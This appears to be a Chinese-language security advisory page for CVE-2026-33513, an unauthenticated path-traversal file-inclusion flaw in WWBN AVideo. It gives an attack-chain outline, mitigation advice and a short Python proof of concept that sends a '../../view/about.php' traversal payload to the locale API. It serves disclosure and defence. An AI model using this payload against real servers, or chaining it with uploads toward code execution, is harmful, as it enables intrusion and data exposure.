CVE-2026-33513 CVSS 8.6 高危

CVE-2026-33513 WWBN AVideo 任意文件包含漏洞

披露日期: 2026-03-23

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-33513

漏洞类型

任意文件包含

CVSS评分

8.6 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

WWBN AVideo

漏洞概述

WWBN AVideo是一个开源视频平台，其在26.0及更早版本中存在高危安全漏洞。由于未经身份验证的API端点`APIName=locale`未对用户输入进行规范化处理或白名单过滤，直接将其拼接到include路径中，导致路径遍历漏洞。攻击者可利用此漏洞包含并执行Web根目录下的任意PHP文件，造成敏感信息泄露，若攻击者能控制文件内容，甚至可导致远程代码执行。

技术细节

该漏洞的根本原因在于WWBN AVideo处理`APIName=locale`请求时的逻辑缺陷。系统在接收用户参数后，未对其进行任何形式的路径规范化处理（如过滤`../`序列）或白名单限制，直接将其拼接到文件包含函数的路径参数中。这种不安全的编程方式允许攻击者利用路径遍历技术，突破预期的目录限制。攻击者可以构造包含`../`的恶意请求，指定Web根目录下的任意PHP文件（例如`view/about.php`）进行包含。一旦目标文件被包含，服务器端将解析并执行其中的PHP代码，导致源代码泄露或敏感配置信息暴露。虽然漏洞本身表现为本地文件包含（LFI），但在攻击者能够控制文件系统其他位置（如通过上传功能写入文件）的情况下，该漏洞极易升级为完整的远程代码执行（RCE），从而获取服务器权限。

攻击链分析

STEP 1

侦察

攻击者识别出目标运行的是WWBN AVideo平台，且版本位于26.0及以下。

STEP 2

漏洞探测

攻击者向`api.php`发送包含`APIName=locale`参数的请求，并在参数中插入路径遍历字符（如`../`）以测试是否存在文件包含漏洞。

STEP 3

恶意利用

攻击者构造特定的Payload（例如指向`view/about.php`），使得服务器端包含并执行该文件。这导致PHP源代码泄露或敏感数据被回显。

STEP 4

权限提升

如果攻击者能够通过其他方式（如文件上传）在服务器上写入恶意PHP文件，可利用此漏洞包含该文件，从而获得远程代码执行（RCE）权限，完全控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

def exploit(target_url):
    """
    PoC for CVE-2026-33513: Unauthenticated LFI in WWBN AVideo
    """
    # The vulnerable endpoint
    endpoint = "/api.php"
    
    # Payload demonstrating path traversal to include view/about.php
    # Adjust the traversal depth (../../) based on the installation directory
    params = {
        "APIName": "locale",
        "file": "../../view/about.php"
    }
    
    try:
        response = requests.get(target_url + endpoint, params=params, timeout=10)
        if response.status_code == 200:
            print("[+] Request sent successfully.")
            print("[+] Response snippet:")
            print(response.text[:500])
        else:
            print(f"[-] Unexpected status code: {response.status_code}")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    target = "http://localhost/avideo" # Replace with actual target
    exploit(target)

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施

截至发布时间，官方尚未提供补丁版本。建议管理员暂时通过WAF或反向代理拦截对`locale` API接口的访问，或者严格过滤用户输入中的路径遍历字符（如`../`），并限制文件包含的目录范围（如使用`open_basedir`）。同时，检查服务器上是否存在可疑的PHP文件，防止被结合利用进行RCE攻击。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表